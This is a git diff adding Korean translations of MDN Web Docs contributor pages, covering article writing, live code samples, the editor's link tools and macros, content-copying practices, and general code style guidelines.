+<p>실시간 상호적인 학습 연습에 대한 <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Simple_selectors#Active_learning_Selecting_different_elements">Active learning: selecting different elements</a>를 살펴보거나 <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Active_learning_Playing_with_scope">Active learning: Playing with scope</a>를 통해 로컬에서 탬플릿을 다운로드하고 수정하는 다양한 형태의 연습이 제공한 단계를 따라가세요.</p>
+
+<h3 id="6단계_문서를_검토하고_탐색_영역_메뉴에_추가하세요">6단계 : 문서를 검토하고 탐색 영역 메뉴에 추가하세요</h3>
+
+<p>기사를 쓰고 난 후, 우리가 보고 검토하고 개선점을 제안할 수 있도록 알려주세요. 연락할 수 있는 가장 좋은 방법은 당사의 연락처(<a href="/en-US/docs/Learn#Contact_us">Contact us</a>) 섹션을 참조하는 것입니다.</p>
+
+<p>당신의 기사를 마무리하는 또 다른 방법은 학습 영역 기본 탐색 메뉴에 넣는 것입니다. 이 메뉴는 LearnSidebar 매크로에 의해 생성되어 편집할 특별한 권한이 필요합니다. 따라서 팀에서 추가한 내용에 대해 다시 한번 말씀 드리겠습니다.</p>
+
+<p>당신의 페이지에 기사를 추가해야 합니다. 이것은 당신의 페이지 맨 위에 있는 단락에 매크로(\{{LearnSidebar}})를 추가함으로써 이루어집니다.</p>
+
+<ul>
+</ul>
+
+<h2 id="추천_기사">추천 기사</h2>
+
+<p>기여를 하고 싶은데 어떤 것을 써야 할 지를 모르겠나요?</p>
+
+<p>학습 영역 팀은 글을 쓰기 위한 아이디어가 담긴 트렐로 보드(<a href="https://trello.com/b/LDggrYSV">a Trello board with ideas of articles</a>)를 유지합니다. 하나를 골라서 자유롭게 작성하세요! </p>
diff --git a/files/ko/mdn/contribute/howto/살아있는_코드_샘플로_변환하기/index.html b/files/ko/mdn/contribute/howto/살아있는_코드_샘플로_변환하기/index.html
new file mode 100644
index 0000000000..27ac6774f1
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/살아있는_코드_샘플로_변환하기/index.html
@@ -0,0 +1,39 @@
+---
+title: '"살아있는" 코드 샘플로 변환하기'
+slug: MDN/Contribute/Howto/살아있는_코드_샘플로_변환하기
+tags:
+  - 라이브샘플
+  - 살아있는 코드
+  - 샘플코드
+translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live
+---
+<div>{{MDNSidebar}}</div><p class="summary">MDN의 라이브 샘플 시스템이란, 페이지에서 보여주는 샘플 코드를 수정하면 이 샘플 코드의 실행 결과도 달라지는 기능을 말합니다. 많은 문서에 샘플 코드들이 있지만 모든 샘플이 이 시스템을 사용하고 있지는 않으며, 생명력을 불어 넣어줘야 합니다.</p>
+<table class="full-width-table">
+ <tbody>
+  <tr>
+   <td><strong>어디서부터 시작해야 하나요?</strong></td>
+   <td><a href="/en-US/docs/tag/NeedsLiveSample">라이브 샘플이 필요한 글 목록</a>을 참고하세요.</td>
+  </tr>
+  <tr>
+   <td><strong>작업을 위해 알아 두어야 할 사항은 무엇인가요?</strong></td>
+   <td>
+    <ul>
+     <li>HTML, CSS에 대한 이해가 필요합니다. 샘플에 따라 JavaScript에 대한 지식을 요구할 수도 있습니다.</li>
+     <li>MDN 문서 내에서 <a href="/en-US/docs/Project:Introduction_to_KumaScript">쿠마 스크립트<sup>(en)</sup></a> 매크로를 사용할 수 있어야 합니다.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>작업 진행 절차는 어떻게 되나요?</strong></td>
+   <td>
+    <p>라이브 샘플을 삽입하는 방법을 포함하여, 올바른 라이브 샘플을 작성하려면 <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide/Live_samples">라이브 샘플 시스템 사용하기<sup>(en)</sup></a> 문서를 참고하세요.</p>
+    <ol>
+     <li><a href="/en-US/docs/tag/NeedsLiveSample">라이브 샘플이 필요한 글 목록</a>에서 마음에 드는 글을 고르세요.</li>
+     <li>샘플에 "생명력을 불어 넣으세요".</li>
+     <li>과거의 것들은 지워버리세요.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/mdn/contribute/index.html b/files/ko/mdn/contribute/index.html
new file mode 100644
index 0000000000..530c096b40
--- /dev/null
+++ b/files/ko/mdn/contribute/index.html
@@ -0,0 +1,17 @@
+---
+title: MDN에 참여하기
+slug: MDN/Contribute
+tags:
+  - MDN 메타
+  - 가이드
+  - 시작하기
+  - 참고문서
+translation_of: MDN/Contribute
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p>환영합니다! 이 페이지를 방문함으로써 당신은 MDN의 공헌자가 되기 위한 한 발을 내딛으셨습니다! <span class="seoSummary">아래의 가이드 목록은 스타일 가이드와, 저희의 에디터와 툴 사용설명서 등 MDN에 공헌하기 위한 모든 내용을 담고 있습니다. 페이지를 수정하거나 추가하기 전에 꼭 <a href="https://www.mozilla.org/en-US/about/legal/terms/mozilla/">Mozilla 법적 고지</a>를 읽고 숙지하시길 바랍니다.</span></p>
+
+<p>아직 MDN에 기여해본 경험이 없다면 <a href="/ko/docs/MDN/Getting_started">시작하기</a> 가이드가 당신이 첫번째 기여할 일을 찾는데 도움이 될 것입니다.</p>
+
+<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/ko/mdn/contribute/processes/index.html b/files/ko/mdn/contribute/processes/index.html
new file mode 100644
index 0000000000..3e4e733a6a
--- /dev/null
+++ b/files/ko/mdn/contribute/processes/index.html
@@ -0,0 +1,16 @@
+---
+title: 문서 작업 절차
+slug: MDN/Contribute/Processes
+tags:
+  - MDN 메타
+  - 시작하기
+  - 프로세스
+translation_of: MDN/Contribute/Processes
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<div>MDN 문서 프로젝트는 전세계의 수많은 공로자들의 도움으로 엄청난량의 기술 문서를 구축했습니다. 문서량이 많아서 생기는 혼란을 줄이기 위해서 문서 수정 시 지켜야 할 표준 절차를 마련했습니다. 다음 가이드를 참고하세요. </div>
+
+<div> </div>
+
+<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/ko/mdn/editor/index.html b/files/ko/mdn/editor/index.html
new file mode 100644
index 0000000000..a327f0fd89
--- /dev/null
+++ b/files/ko/mdn/editor/index.html
@@ -0,0 +1,19 @@
+---
+title: MDN 에디터 UI 가이드
+slug: MDN/Editor
+tags:
+  - Landing
+  - MDN
+translation_of: MDN/Editor
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("ko/docs/MDN")}}</div>
+
+<p><span class="seoSummary">MDN 위키가 제공하는 위지윅(WYSIWYG) 에디터를 통해 새로운 컨텐츠에 쉽게 기여할 수 있습니다. 이 글은 에디터의 사용법과 작업 생산성을 향상시킬 수 있는 기능들에 대해 상세히 설명하고 있습니다. 새로운 페이지를 생성하거나 편집하기 전에 <a href="/ko/about/legal/terms/mozilla/">모질라의 법적고지</a>를 읽고 여기에 따라주십시오.</span></p>
+
+<p><a href="/ko/docs/MDN/Contribute/Content/Style_guide" title="/en-US/docs/Project:MDN/Style_guide">MDN 스타일 지침</a>을 통해 MDN이 지향하는 형식, 스타일, 선호하는 문법과 스펠링 규칙에 대해 자세히 알 수 있습니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<p>{{EditorGuideQuicklinks}}</p>
diff --git a/files/ko/mdn/editor/links/index.html b/files/ko/mdn/editor/links/index.html
new file mode 100644
index 0000000000..f6217db92c
--- /dev/null
+++ b/files/ko/mdn/editor/links/index.html
@@ -0,0 +1,181 @@
+---
+title: Links
+slug: MDN/Editor/Links
+tags:
+  - MDN
+  - 가이드
+  - 문서화
+  - 에디터
+translation_of: MDN/Editor/Links
+---
+<div>{{MDNSidebar}}</div>
+
+<p id="Creating_and_editing_links"><span class="seoSummary">링크는 어떤 위키에서나 가장 중요한 요소입니다. 그 중요성은 많은 문서간에서 뿐만 아니라, 단일 문서에서도 동일합니다. MDN 또한 링크에 크게 의존하고 있습니다. 다행스럽게도, 링크는 만들 수있는 방법이 많으면서도, 매우 만들기 쉽습니다!</span></p>
+
+<div class="note">
+<p><strong>주목할 점:</strong> 특별히 <a href="/ko/docs/MDN/Contribute/Guidelines/Writing_style_guide#링크">링크시에 선호되는 작성방법</a>이 있습니다;  <a href="/ko/docs/MDN/Contribute/Guidelines/Writing_style_guide">MDN  작성 스타일 가이드</a>에 설명되어 있습니다.</p>
+</div>
+
+<h2 id="툴바_사용하기">툴바 사용하기</h2>
+
+<p>링크를 만드는 가장 확실한 방법은 툴바의  "link" 버튼을 클릭하거나, <kbd>Ctl</kbd>+<kbd>K</kbd> (맥에서는 <kbd>Command</kbd>-<kbd>K</kbd> )를 누르는 것입니다. 링크 버튼은 이렇게 생겼습니다: <img alt="The link button (as of 2015-12-04)" src="https://mdn.mozillademos.org/files/12003/link-button.png" style="height: 16px; width: 16px;">. 문자열 선택없이 링크 작성시에, 혹은 기존에 있는 문자열을 선택하여 링크 작성시에 이 기능을 이용할 수 있습니다.</p>
+
+<h3 id="문자열_선택없이_링크_작성하기">문자열 선택없이 링크 작성하기</h3>
+
+<p>일단 링크 버튼을 클릭하면, 아래에 보이는 링크 에디터 다이얼로그로 진입합니다:</p>
+
+<p><img alt="Screenshot of the Link dialog box, showing the Link Info tab" src="https://mdn.mozillademos.org/files/15289/link-info.png" style="border-style: solid; border-width: 1px; height: 320px; width: 335px;"></p>
+
+<p>여기서 새로운 링크를 구성할 수 있습니다. 이 다이얼로그의 콘트롤은 다음과 같습니다:</p>
+
+<dl>
+ <dt>링크 종류</dt>
+ <dd>생성중인 링크의 종류입니다. URL의 기본값은, MDN이든 오프사이트이든, 웹상 어딘가에 있는 URL입니다. 텍스트내의 앵커 (anchor)또는 "이메일"을 선택할 수도 있습니다. 앵커 링크 옵션은 툴바의 <strong>Anchor</strong> 버튼 으로 이전에 삽입된 anchor로의 링크를, 목록에서 골라서 생성할 수 있도록 합니다. 이메일 옵션은 받는사람의 이메일 주소와 제목 기본 메시지 콘텐츠를 입력하여 <code>mailto:</code> URL 이 구성되도록 합니다. 대부분의 경우 URL optin을 사용하게 될 겁니다.</dd>
+ <dt>문서 제목 찾기 / 링크 텍스트</dt>
+ <dd>이 필드는 두가지 목적을 수행합니다: 첫째는, 링크 대상으로 사용할 텍스트를 지정할 수 있습니다 (또는 대화 상자를 열기 전에 텍스트를 선택한 경우, 해당 텍스트가 이곳에 링크 대상으로 표시됩니다). 두번째로, 이 곳에 입력된 텍스트를 MDN내 등록된 문서와 대조하여 가능한 목적지 페이지를 찾아내는데 사용됩니다. 예를 들어, 이 박스안에 "Array"라고 타이핑하면, 아래와 같은 상황을 볼 수 있습니다:<br>
+ <img alt='Screenshot of the Link dialog box, showing a lookup menu for the text "Array"' src="https://mdn.mozillademos.org/files/15291/link%20dialog%20with%20lookup%20menu.png" style="border-style: solid; border-width: 1px; height: 388px; width: 496px;"></dd>
+</dl>
+
+<dl>
+ <dd>Here, you can see a list of all the pages on MDN whose titles include the text you've typed. You can then scroll through the list and select one of those pages, or keep typing to narrow down the list. Note that the items in the list display their locale ("[en-US]" in this case). That text is not used in the link target text; it is there to help you ensure that you are linking to an article in the same locale as the one you are editing.</dd>
+ <dt>Attachments</dt>
+ <dd>Alternatively, you may make the link be a link to one of the files attached to the current page by selecting the attachment from this list. This is a great way to offer links to download code samples and the like.</dd>
+ <dt>URL</dt>
+ <dd>Finally, the URL field lets you actually directly enter the URL; it also shows the URL of whatever you've selected in either the <strong>Article Title Lookup</strong> or <strong>Attachments</strong> menus, if you've used those. A common practice is to paste URLs to pages you're working on elsewhere on MDN. If you link to another article on MDN, remove the domain name ("https://developer.mozilla.org") from the beginning of the URL, since that's implied.</dd>
+</dl>
+
+<p>Once the link is configured, click the <strong>OK</strong> button to insert it.</p>
+
+<div class="note">
+<p>If you're paying attention, you'll see that there's a second tab—<strong>Advanced</strong>—in the link editor dialog. There are no options there that we advise you to use on a regular basis, at least at this time. It's possible that in the future there will be alternate styles for links, but we will likely add new toolbar widgets to use those features when they're available.</p>
+</div>
+
+<h3 id="기존_텍스트에_링크_생성하기">기존 텍스트에 링크 생성하기</h3>
+
+<p>If you have existing text that you'd like to turn into a link, you can simplify the process somewhat. Highlight the text you'd like to turn into a link before opening the link editor; this will pre-populate the <strong>Article Title/Lookup Text</strong> field with the selected text. For example, let's say we have the following text:</p>
+
+<blockquote>
+<p>You may find it useful to use JavaScript arrays when working on this project.</p>
+</blockquote>
+
+<p>We'd like to turn "arrays" into a link to the appropriate content. Just highlight that word and invoke the link editor; you'll get a pre-populated dialog similar to the previous case. By "hovering" your mouse over a suggested article, you can see its relative slug (its URL relative to <code>developer.mozilla.org</code>), which can give you a better idea of where it is located and what type of article it is.</p>
+
+<p><img alt="Screenshot of the Link dialog box, showing a lookup menu and a URL tooltip" src="https://mdn.mozillademos.org/files/15293/Rollover%20of%20lookup%20menu.png" style="border-style: solid; border-width: 1px; height: 387px; width: 493px;"></p>
+
+<p>Here, of the articles suggested as possible matches. "Arrays" looks like a good choice, so we can choose that. This automatically fills in the URL field, so you can just click <strong>OK</strong> and the text gets turned into a link, like this:</p>
+
+<blockquote>
+<p>You may find it useful to use JavaScript <a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">arrays</a> when working on this project.</p>
+</blockquote>
+
+<h2 id="링크_매크로_사용하기">링크 매크로 사용하기</h2>
+
+<p>MDN은, 선택된 용어에 적절한 콘텐츠로의 링크가 자동적으로 생성되는 동시에 스타일 가이드에 맞게 링크가 생성되도록 하는 작업을 <a href="/ko/docs/Project:MDN/Contributing/Editor_guide#Using_macros">매크로</a>에 크게 의존합니다. 이 예를 보세요: 우리의 스타일 가이드는 API 용어 이름, HTML 요소와 속성, CSS 속성, 함수 이름등이 {{HTMLElement("code")}} 형식을 권장한다( 사실상 그대로 되어야 합니다)라고 되어있습니다. 그것들은 또한 MDN상의 적절한 페이지로 링크가 연결되어있어야 합니다.</p>
+
+<p>매크로를 이용하여 이런 링크들을 만드는 것은 익숙해지기에 약간 시간이 걸리지만 많은 장점이 있습니다:</p>
+
+<ul>
+ <li>당신이 의도한 알맞은 스타일이 적용됩니다.</li>
+ <li>링크는 당신을 위해 생성되며 - 미래에 MDN 구성이 변경되더라도 미래 환경에 적응됩니다.</li>
+ <li>역시 당신에게 알맞은 툴팁이 생성될 수 있습니다.</li>
+</ul>
+
+<p>이런 종류의 매크로가 많이 있으며, 여기서 모든 매크로를 다 보지는 않을 겁니다. 대신, 가장 일반적인  몇가지 특별한 예를 살펴볼 것입니다. 더 완벽한 목록은  <a href="/en-US/docs/Project:MDN/Contributing/Custom_macros">MDN 커스텀 매크로 </a>가이드의 "<a href="/en-US/docs/Project:MDN/Contributing/Custom_macros#Creating_hyperlinks">하이퍼링크 생성하기</a>" 섹션을 보세요. 모든 매크로에 대해서 <a href="/ko/docs/Project:Introduction_to_KumaScript">KumaScript</a> 소스 코드를 확인할 수 있다는 점은 주목할만 합니다. 대부분의 경우 소스코드 상단에 작동 방식과 다양한 매개변수가 무엏인지 설명하는 주석이 있습니다.</p>
+
+<h3 id="API_문서에_링크걸기">API 문서에 링크걸기</h3>
+
+<p>We have a number of extremely helpful macros for creating styled links to APIs. Here are a few of the most useful ones; in each case, there may be added parameters available to give you more control over the output (such as suppressing the automatic addition of the <code>&lt;code&gt;</code> styling). Each macro name below can be clicked upon to read the macro code itself; they all have comments at the top explaining what they do and all of their parameters.</p>
+
+<dl>
+ <dt>{{TemplateLink("HTMLElement")}}</dt>
+ <dd>Inserts an HTML element's name, properly styled and linked. For example: <code>\{{HTMLElement("table")}}</code> yields {{HTMLElement("table")}}.</dd>
+ <dt>{{TemplateLink("cssxref")}}</dt>
+ <dd>Inserts a CSS property, at-rule, or selector's documentation in the CSS reference. For example: <code>\{{cssxref("background-color")}}</code> results in {{cssxref("background-color")}}.</dd>
+ <dt>{{TemplateLink("domxref")}}</dt>
+ <dd>Inserts a link into the Web API Reference for a given API term. For example: <code>\{{domxref("window")}}</code> yields {{domxref("window")}} and <code>\{{domxref("window.scrollBy()")}}</code> inserts {{domxref("window.scrollBy()")}}. You can also supply an additional parameter to override the text: <code>\{{domxref("window.scrollBy", "scrollBy()")}}</code> results in {{domxref("window.scrollBy", "scrollBy()")}}.</dd>
+ <dt>{{TemplateLink("SVGElement")}}</dt>
+ <dd>Inserts an SVG element's name, properly styled and linked. For example: <code>\{{SVGElement("circle")}}</code> yields {{SVGElement("circle")}}.</dd>
+</dl>
+
+<h3 id="동일_문서내_섹션에_링크걸기">동일 문서내 섹션에 링크걸기</h3>
+
+<p>To link to a section within the same article, you can use the {{TemplateLink("anch")}} macro. The syntax is straightforward: <code>\{{anch("Name of destination section")}}</code>. By default, the displayed link text is the title of that section, but you can add a second, optional, parameter indicating alternate text to use instead. Some examples:</p>
+
+<ul>
+ <li><code>\{{anch("Using the toolbar")}}</code> looks like this: {{anch("Using the toolbar")}}</li>
+ <li><code>\{{anch("Using the toolbar", "earlier in this article")}}</code> looks like this: {{anch("Using the toolbar", "earlier in this article")}}</li>
+</ul>
+
+<h3 id="버그에_링크걸기">버그에 링크걸기</h3>
+
+<p>You can link to a bug in Mozilla's Bugzilla database with the {{TemplateLink("bug")}} macro. This macro accepts a single parameter: the bug number to link to. For example, <code>\{{bug(765642)}}</code> looks like this: {{bug(765642)}}.</p>
+
+<p>Similarly, you can create links to bugs in other browsers and Web engines:</p>
+
+<dl>
+ <dt>WebKit (Safari, etc.)</dt>
+ <dd>{{TemplateLink("WebkitBug")}}: <code>\{{webkitbug(31277)}}</code> yields {{webkitbug(31277)}}.</dd>
+</dl>
+
+<h3 id="RFCs_에_링크걸기">RFCs 에 링크걸기</h3>
+
+<p>Much of the way the Internet works at a core level is documented in RFCs. You can easily reference RFCs using the {{TemplateLink("RFC")}} macro. For example, \{{RFC(2616)}} becomes {{RFC(2616)}}. You can, optionally, also provide alternate link text to use instead of a selected piece of text from the article or and/or the section number within the specification to which to link.</p>
+
+<h3 id="XPCOM_인터페이스_정보에_링크걸기">XPCOM 인터페이스 정보에 링크걸기 </h3>
+
+<div class="note">
+<p>The MDN staff no longer actively maintains the XPCOM documentation, but volunteer contributions are welcomel</p>
+</div>
+
+<p>If you're documenting Mozilla internals, being able to easily create links to XPCOM interface documentation is helpful. There are a few macros used for this.</p>
+
+<p>The syntax for linking to the documentation for an XPCOM interface as a whole is just: <code>\{{interface("interfacename")}}</code>. For example, you might write:</p>
+
+<blockquote>
+<p>When you need to parse or create URIs, the \{{interface("nsIIOService")}} interface can help.</p>
+</blockquote>
+
+<p>The result looks like this:</p>
+
+<blockquote>
+<p>When you need to parse or create URIs, the {{interface("nsIIOService")}} interface can help.</p>
+</blockquote>
+
+<p>If you need to link to information about a specific method or attribute on an XPCOM interface, the {{TemplateLink("ifmethod")}} and {{TemplateLink("ifattribute")}} macros are for you. These accept as parameters the name of the interface and the name of the method or attribute to which you wish to reference. The {{TemplateLink("ifmethod")}} macro is particularly interesting, since it does some special formatting by adding the style guide-mandated parentheses after the method's name. For example, <code>\{{ifmethod("nsIIOService", "newURI")}}</code> results in {{ifmethod("nsIIOService", "newURI")}}. That's a case where you're being protected against possible changes in the style guide in the future!</p>
+
+<h3 id="Mozilla_설정_문서에_링크걸기">Mozilla 설정 문서에 링크걸기</h3>
+
+<p>To insert the name of a Mozilla preference and make it link to the corresponding page in the <a href="/en-US/docs/Mozilla/Preferences/Preference_reference">Preference reference</a>, use the {{TemplateLink("pref")}} macro. This accepts one parameter: the full name of the preference you wish to link to. For example, you can use <code>\{{pref("javascript.options.showInConsole")}}</code> to create this: {{pref("javascript.options.showInConsole")}}.</p>
+
+<h3 id="Mozilla_소스_파일에_링크걸기">Mozilla 소스 파일에 링크걸기</h3>
+
+<p>You can link to files in Mozilla's source tree (although you probably won't do this often) using the {{TemplateLink("source")}} macro. Instead of specifying the full URL of the file, you can simply specify the path relative to the <code>/source/</code> directory. For example: \{{source("browser/Makefile.in")}} creates this link: {{source("browser/Makefile.in")}}.</p>
+
+<p>You may also, optionally, specify alternative text to use for the link. For example, you can use \{{source("browser/Makefile.in", "the browser's makefile")}} to get the result: {{source("browser/Makefile.in", "the browser's makefile")}}.</p>
+
+<div class="note">
+<p>Please look at the {{anch("Using macros")}} documentation if you're interested in learning more about using macros, and check out our <a href="/en-US/docs/Project:MDN/Kuma/KumaScript_guide">KumaScript</a> documentation to learn more about the macro system itself.</p>
+</div>
+
+<h2 id="추천_콘텐츠에_링크걸기">추천 콘텐츠에 링크걸기</h2>
+
+<p>If you wish to create a list of related pages, or other recommended reading material, you should do so by creating a quicklinks box in the sidebar; this mechanism is replacing our old "See also" headings at the end of articles. For details on how to create quicklinks boxes, see <a href="/en-US/docs/MDN/Contribute/Structures/Quicklinks">Quicklinks</a>.</p>
+
+<h2 id="URL_정책">URL 정책</h2>
+
+<p>For security reasons, you should only create links that use the following schemes:</p>
+
+<ul>
+ <li><code>http://</code></li>
+ <li><code>https://</code></li>
+ <li><code>ftp://</code></li>
+ <li><code>mailto:</code></li>
+</ul>
+
+<p>Others may or may not work, but are not supported and will probably be removed by editorial staff.</p>
+
+<div class="note">
+<p>Special URL schemes such as <code>about:</code> and <code>chrome:</code> are used by Firefox, Google Chrome, and some other browsers to provide access to special content such as preferences, debugging information, and so forth. These links do not work from article content, so please do not try to create links using these schemes within MDN articles. The same applies to the <code>javascript:</code> and <code>jar:</code> schemes, which are blocked by most modern browsers as a security precaution.</p>
+</div>
+
+<p>{{EditorGuideQuicklinks}}</p>
diff --git a/files/ko/mdn/guidelines/best_practices/index.html b/files/ko/mdn/guidelines/best_practices/index.html
new file mode 100644
index 0000000000..d8c5f2b247
--- /dev/null
+++ b/files/ko/mdn/guidelines/best_practices/index.html
@@ -0,0 +1,34 @@
+---
+title: 모범 사례
+slug: MDN/Guidelines/Best_practices
+tags:
+  - Guide
+  - Guidelines
+  - MDN Meta
+translation_of: MDN/Guidelines/Conventions_definitions
+---
+<div>{{MDNSidebar}}</div><p>이 글은 MDN에서 추천하는 콘텐츠 작업 법을 설명합니다. 이 가이드라인은 더 나은 결과로 이끌 선호하는 일하는 법을 설명하거나 비슷한 일을 하는 여러 방법 중에서 결정에 조언을 제공합니다.</p>
+
+<h2 id="콘텐츠_복사하기">콘텐츠 복사하기</h2>
+
+<p>때때로, 여러 페이지에 같은 텍스트를 재사용해야 합니다 (또는 한 페이지의 콘텐츠를 다른 페이지를 위한 템플릿으로 사용하고 싶습니다). 세 가지 선택 사항이 있습니다:</p>
+
+<ul>
+ <li>전체 페이지를 복사하고 싶다면:
+  <ol>
+   <li>복사하고 싶은 페이지를 보는 동안, <strong>고급</strong> (톱니바퀴) 메뉴의 <strong><a href="/ko/docs/MDN/Contribute/Creating_and_editing_pages#Clone_of_an_existing_page" title="Clone this article">이 글 복제</a></strong>를 고르세요. 이는 새 페이지를 위한 편집기 UI를 엽니다, 복제된 페이지의 콘텐츠로 이미 채워진 채로.</li>
+   <li>복제된 페이지를 위한 새로운 <strong>한국어 제목</strong> 및 <strong>슬러그</strong>를 입력하세요.</li>
+   <li>필요에 따라 페이지의 콘텐츠를 편집하고 평소대로 저장하세요.</li>
+  </ol>
+ </li>
+ <li>페이지의 일부만 복사하고 싶은 경우, <strong>페이지를 방문만 하지 말고 거기서 복사하세요</strong>. 이는 원치 않는 추가 HTML 조각을 목적 페이지에 끼워 넣고 누군가는 이를 정리해야 합니다, 당신 또는 다른 편집자가. 아무도 그것을 원하지 않습니다. MDN 페이지의 일부를 다른 페이지로 복사하려면:
+  <ol>
+   <li>소스 페이지에서, 소스 페이지의 <strong>편집</strong> 버튼을 클릭하세요.</li>
+   <li><strong>편집기 UI 내에서 재사용하고 싶은 콘텐츠를 복사하세요.</strong></li>
+   <li>그 페이지를 위한 편집기 UI를 빠져나오기 위해 <strong>Discard</strong> 클릭하세요.</li>
+   <li>붙여 넣고 싶은 페이지를 위한 편집기 UI를 여세요.</li>
+   <li>클립보드에서 콘텐츠를 붙여 넣으세요.</li>
+  </ol>
+ </li>
+ <li>때때로 말 그대로 많은 페이지에 같은 콘텐츠를 사용하고 싶습니다. 이 경우에, 한 페이지에 콘텐츠를 두고, 그 뒤에 한 페이지에서 다른 페이지로 내용물을 삽입참조(transclude)하는 {{TemplateLink("Page")}} 매크로를 사용하는 것이 최선이 될 수 있습니다. 이런 식으로 하면, 소스 페이지의 텍스트가 갱신될 때마다, 대상 페이지도 갱신됩니다 (즉, 이는 강제-새로고침 또는 대상 페이지가 예정된 재빌드가 이루어질 때 일어납니다).</li>
+</ul>
diff --git a/files/ko/mdn/guidelines/code_guidelines/code_guidelines/index.html b/files/ko/mdn/guidelines/code_guidelines/code_guidelines/index.html
new file mode 100644
index 0000000000..093f50ae47
--- /dev/null
+++ b/files/ko/mdn/guidelines/code_guidelines/code_guidelines/index.html
@@ -0,0 +1,159 @@
+---
+title: 모든 코드에 대한 일반 가이드라인
+slug: MDN/Guidelines/Code_guidelines/Code_guidelines
+tags:
+  - Code
+  - General
+  - Guide
+  - MDN Meta
+  - 가이드
+  - 가이드라인
+  - 코드 블럭
+  - 코드 블록
+  - 코드 스타일
+translation_of: MDN/Guidelines/Code_guidelines/General
+---
+<div>{{MDNSidebar}}{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p class="summary">아래 코드 예제 가이드라인에서 HTML, CSS, JavaScript 나 다른 어느 코드로 예로 들건 , 모든 코드 타입에 적용됩니다.</p>
+
+<h2 id="이_문서_내용은"> 이 문서 내용은</h2>
+
+<ul>
+ <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#들여쓰기_여백주기_사이즈">들여쓰기, 여백주기, 사이즈</a>
+
+  <ul>
+   <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#들여쓰기">들여쓰기</a></li>
+   <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#코드_한_줄_길이">코드 한 줄 길이</a></li>
+   <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#코드_블럭_높이">코드 블럭 높이</a></li>
+  </ul>
+ </li>
+ <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#예제_디스플레이_가이드라인">예제 디스플레이 가이드라인</a>
+  <ul>
+   <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#렌더링_된_예제_크기">렌더링 된 예제 크기</a></li>
+   <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#이미지나_다른_미디어의_사용">이미지나 다른 미디어의 사용</a></li>
+   <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#컬러의_사용">컬러의 사용</a></li>
+   <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#좋은_예시와_나쁜_예시_강조">좋은 예시와 나쁜 예시 강조</a></li>
+  </ul>
+ </li>
+ <li><a href="/ko/docs/MDN/Contribute/Guidelines/Code_guidelines/General#레퍼런스_페이지에서_문법_섹션_작성">레퍼런스 페이지에 문법 섹션 작성</a></li>
+</ul>
+
+<h2 id="들여쓰기_여백주기_사이즈">들여쓰기, 여백주기, 사이즈</h2>
+
+<h3 id="들여쓰기">들여쓰기</h3>
+
+<p>모든 코드는 2 스페이스로 들여쓰기 해야합니다. 예를 들면:</p>
+
+<pre class="brush: html example-good notranslate">&lt;div&gt;
+  &lt;p&gt;This is my paragraph.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: js example-good notranslate">function myFunc() {
+  if(thingy) {
+    console.log('Yup, that worked.');
+  }
+}</pre>
+
+<h3 id="코드_한_줄_길이">코드 한 줄 길이</h3>
+
+<p>한 행의 코드는 최대 80자 (<a href="https://github.com/mdn/interactive-examples">대화형 예제</a>는 64자) 이내로 제한 되어야 합니다.  가독성을 위해 합리적으로 행을 분리 하는 것 좋지만 모범 사례를 벗어나지는 마십시오.</p>
+
+<p>예를 들면, 아래는 안 좋은 예입니다.</p>
+
+<pre class="brush: js example-bad notranslate">let tommyCat = 'Said Tommy the Cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. Many a fat alley rat had met its demise while staring point blank down the cavernous barrel of this awesome prowling machine.';</pre>
+
+<p>이것은 좀 낫지만, 그래도 여전히 좋지 않습니다:</p>
+
+<pre class="brush: js notranslate">let tommyCat = 'Said Tommy the Cat as he reeled back to clear whatever foreign '
++ 'matter may have nestled its way into his mighty throat. Many a fat alley rat '
++ 'had met its demise while staring point blank down the cavernous barrel of '
++ 'this awesome prowling machine.';</pre>
+
+<p>템플릿 리터럴을 사용하는 것이 더 좋습니다:</p>
+
+<pre class="brush: js example-good notranslate">let tommyCat = `Said Tommy the Cat as he reeled back to clear whatever foreign
+  matter may have nestled its way into his mighty throat. Many a fat alley rat
+  had met its demise while staring point blank down the cavernous barrel of
+  this awesome prowling machine.`;</pre>
+
+<h3 id="코드_블럭_높이">코드 블럭 높이</h3>
+
+<p>코드 블럭은 필요한 만큼 길어야 하지만 너무 길면 안됩니다. 15에서 25 라인 정도의 길이가 이상적입니다. 코드 블럭이 너무 길어진다면, 가장 유용한 스니펫만 보여주고, 나머지 부분은 깃허브 저장소나 코드펜 같은 링크로 연결하세요.</p>
+
+<h2 id="예제_디스플레이_가이드라인">예제 디스플레이 가이드라인</h2>
+
+<h3 id="렌더링_된_예제_크기">렌더링 된 예제 크기</h3>
+
+<p>MDN 메인 콘텐츠 창은 데스크탑에서 약  700px 크기 이므로, 삽입된 MDN 예제는 ( 삽입된 예제를 100% 너비로 설정했을 때 ) 해당 너비에서 잘 보여야 합니다.</p>
+
